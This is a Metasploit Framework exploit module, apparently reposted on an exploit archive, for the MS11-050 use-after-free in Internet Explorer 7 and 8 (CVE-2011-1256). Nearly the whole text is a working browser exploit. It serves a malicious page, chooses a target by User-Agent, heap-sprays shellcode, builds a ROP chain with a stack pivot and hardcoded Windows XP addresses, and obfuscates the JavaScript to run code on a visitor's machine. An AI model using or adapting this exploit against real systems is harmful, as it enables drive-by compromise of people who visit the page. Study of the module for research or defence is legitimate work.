ExploitFixes
MS11-050 IE mshtml!CObjectElement Use After Free - [CVE: 2011-1256] 2011-06-17 11:15:06

##
# $Id: ms11_050_mshtml_cobjectelement.rb 12962 2011-06-17 01:56:20Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "7.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => nil,
})

def initialize(info={})
super(update_info(info,
'Name' => "MS11-050 IE mshtml!CObjectElement Use After Free",
'Description' => %q{
This module exploits a use-after-free vulnerability in Internet Explorer. The
vulnerability occurs when an invalid <object> tag exists and other elements overlap/cover
where the object tag should be when rendered (due to their styles/positioning). The
mshtml!CObjectElement is then freed from memory because it is invalid. However, the
mshtml!CDisplay object for the page continues to keep a reference to the freed <object> and
attempts to call a function on it, leading to the use-after-free.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 12962 $",
'Author' =>
[
'd0c_s4vage',
],
'References' =>
[
['CVE', '2011-1256'],
['OSVDB', '72948'],
['MSB', 'MS11-050'],
['URL', 'http://d0cs4vage.blogspot.com/2011/06/insecticides-dont-kill-bugs-patch.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],

# In IE6 the mshtml!CObjectElement size is 0xac
[
'Win XP SP3 Internet Explorer 7', # 7.0.5730.13
{
# sizeof(mshtml!CObjectElement)
'FreedObjSize' => 0xb0,
'FakeObjCount' => 0x4000,
'FakeObjCountKeep' => 0x2000,
'ForLoopNumObjects' => 3,
'FreedObjOverwritePointer'=>0x0c0c0c0c,
'FreedObjOffsetAlignSize'=>0,
'ROP' => false,
}
],

[
'Win XP SP3 Internet Explorer 8 (no DEP)', # 8.0.6001.18702
{
# sizeof(mshtml!CObjectElement)
'FreedObjSize' => 0xe0, # 0xdc rounded up
'FakeObjCount' => 0x8000,
'FakeObjCountKeep' => 0x3000,
'ForLoopNumObjects' => 5,
'FreedObjOverwritePointer'=>0x0c0c0c0c,
'FreedObjOffsetAlignSize'=>0,
'ROP' => false,
}
],

[
'Win XP SP3 Internet Explorer 8',
{
'FreedObjSize' => 0xe0, # 0xdc rounded up
'FakeObjCount' => 0x8000,
'FakeObjCountKeep' => 0x3000,
'ForLoopNumObjects' => 5,
'FreedObjOverwritePointer'=>0x0c0c0c0c,
'FreedObjOffsetAlignSize'=>2,
#'StackPivot'=>0x773E3F18, # xchg eax,esp / ret - comctl32.dll
'StackPivot' => 0x7E45F257, #xchg eax,esp - USER32.dll
'ROP' => true,
}
],

[
'Debug Target (Crash)', {}
],
],
'DisclosureDate' => "Jun 16 2011",
'DefaultTarget' => 0))
end

def auto_target(cli, request)
agent = request.headers['User-Agent']
if agent =~ /MSIE 8\.0/
mytarget = targets[3] # IE 8
elsif agent =~ /MSIE 7\.0/
mytarget = targets[1]
else
print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
end

mytarget
end


# 3/22/2011
# fully patched x32 WinXP SP3, IE 8.0.6001.18702
def winxp_sp3_rva
{
#"kernel32!VirtualAlloc" => 0x7c809af1,
"kernel32!VirtualAlloc" => 0x7c809ae1,
"ntdll!memcpy" => 0x7c901db3,
}
end

def compile_rop(rop_stack)
rva = winxp_sp3_rva()
num_random = 0
rop_stack.map do |rop_val|
case rop_val
when String
if rop_val == "random"
# useful for debugging
# num_random += 1
# 0xaabbcc00 + num_random
rand(0xffffffff)
else
raise RuntimeError, "Unable to locate key: #{rop_val.inspect}" unless rva[rop_val]
rva[rop_val]
end
when Integer
rop_val
else
raise RuntimeError, "unknown rop_val: #{rop_val.inspect}, #{rop_val.class}"
end
end.pack("V*")
end

def on_request_uri(cli, request)
mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
unless mytarget
send_not_found(cli)
return
end
end
@mytarget = mytarget
@debug = true if mytarget == targets[4]

return if ((p = regenerate_payload(cli)) == nil)

id_name = rand_text_alpha(5)
dir_name = rand_text_alpha(3)

if @debug
data = <<-DATA
<html>
<body>
<script language='javascript'>
document.body.innerHTML += "<object align='right' hspace='1000' width='1000'></object>";
document.body.innerHTML += "<a id='#{id_name}' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' ></a>";
document.body.innerHTML += "AAAAAAA";
document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='#{dir_name}'></strong>";
</script>
</body>
</html>
DATA

print_status("Triggering #{self.name} vulnerability at #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
send_response(cli, data, { 'Content-Type' => 'text/html' })
return
end

raw_shellcode = payload.encoded
shellcode = Rex::Text.to_unescape(raw_shellcode, Rex::Arch.endian(mytarget.arch))

spray = nil
rop_shellcode_spray = nil

obj_overwrite_ptr = [@mytarget['FreedObjOverwritePointer']].pack("V")

if @mytarget['ROP']
rop_stack = []
0x1f.times do |i|
rop_stack << "random"
end

idx = -1
idx += 1 ; rop_stack[idx] = "kernel32!VirtualAlloc" # 1:
idx += 1 ; rop_stack[idx] = "ntdll!memcpy" # 2:ret 10 to this after VirtualAlloc
idx += 1 ; rop_stack[idx] = 0x7f000000 # 1:VirtualAlloc:lpAddress
idx += 1 ; rop_stack[idx] = 0x4000 # 1:VirtualAlloc:dwSize
idx += 1 ; rop_stack[idx] = (0x1000 | 0x2000) # 1:VirtualAlloc:flAllocationType MEM_COMMIT | MEM_RESERVE
idx += 1 ; rop_stack[idx] = 0x40 # 1:VirtualAlloc:flProtect rwx
idx += 1 ; rop_stack[idx] = 0x7f001000 # 3:into this after memcpy
idx += 1 ; rop_stack[idx] = 0x7f001000 # 2:memcpy:dst
idx += 1 ; rop_stack[idx] = 0x23000100 # 2:memcpy:src
idx += 1 ; rop_stack[idx] = 0x2fff # 2:memcpy:size

# align the rest of it
back = rop_stack.slice!((rop_stack.length-1)-2, rop_stack.length)
rop_stack = back + rop_stack

rop_stack << @mytarget['StackPivot']

# align the stack for 0c0c0c0c
front = rop_stack.slice!(0, 19)
rop_stack = rop_stack + front

# resolve strings in the rop_stack array (kernel32!VirtualAlloc, random, etc)
rop = compile_rop(rop_stack)

nops = make_nops(0x1000 - raw_shellcode.length)
nops = Rex::Text.to_unescape(nops, Rex::Arch.endian(mytarget.arch))

#spray up to 0x23000000
rop_shellcode_spray = <<-JS
var shellcode = unescape("#{shellcode}");
var nops = unescape("#{nops}");
while(nops.length < 0x1000) nops += nops;
var shell_heapblock = nops.substring(0, 0x800-shellcode.length) + shellcode;
while(shell_heapblock.length < 0x40000) shell_heapblock += shell_heapblock;
var shell_finalspray = shell_heapblock.substring(0, (0x20000-6)/2);
for(var shell_counter = 0; shell_counter < 0x1000; shell_counter++) { heap_obj.alloc(shell_finalspray); }
JS

spray = rop
shellcode = ""
else
spray = obj_overwrite_ptr
end

spray = Rex::Text.to_unescape(spray, Rex::Arch.endian(mytarget.arch))

js = <<-JS
heap_obj = new heapLib.ie(0x20000);
var heapspray = unescape("#{spray}");
while(heapspray.length < 0x1000) heapspray += heapspray;
var shellcode = unescape("#{shellcode}");
var heapblock = heapspray.substring(0, (0x800-shellcode.length)) + shellcode;
var offset = #{[targets[1], targets[2]].include?(@mytarget) ? "0x400" : "0"};
var front = heapblock.substring(0, offset);
var end = heapblock.substring(offset);
heapblock = end + front;
while(heapblock.length < 0x20000) heapblock += heapblock;
finalspray = heapblock.substring(0, (0x10000-6)/2);
for(var counter1 = 0; counter1 < 0x1000; counter1++) { heap_obj.alloc(finalspray); }

#{rop_shellcode_spray}

var obj_overwrite = unescape("#{Rex::Text.to_unescape(obj_overwrite_ptr, Rex::Arch.endian(mytarget.arch))}");
while(obj_overwrite.length < #{@mytarget['FreedObjSize']}) { obj_overwrite += obj_overwrite; }
obj_overwrite = obj_overwrite.slice(0, (#{@mytarget['FreedObjSize']}-6)/2);

for(var num_objs_counter = 0; num_objs_counter < #{@mytarget['ForLoopNumObjects']}; num_objs_counter++) {
document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";
}

for(var counter4 = 0; counter4 < #{@mytarget['FakeObjCountKeep']}; counter4++) { heap_obj.alloc(obj_overwrite, "keepme1"); }
for(var counter5 = 0; counter5 < #{@mytarget['FakeObjCountKeep']}; counter5++) { heap_obj.alloc(obj_overwrite, "keepme2"); }

document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
document.body.innerHTML += "AAAA";
document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
JS

js = heaplib(js)
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate

html = <<-HTML
<html>
<body>
<script language='javascript'>
#{js}
</script>
</body>
</html>
HTML

print_status("Sending exploit for #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")

send_response(cli, html, {'Content-Type'=>'text/html'})
end
end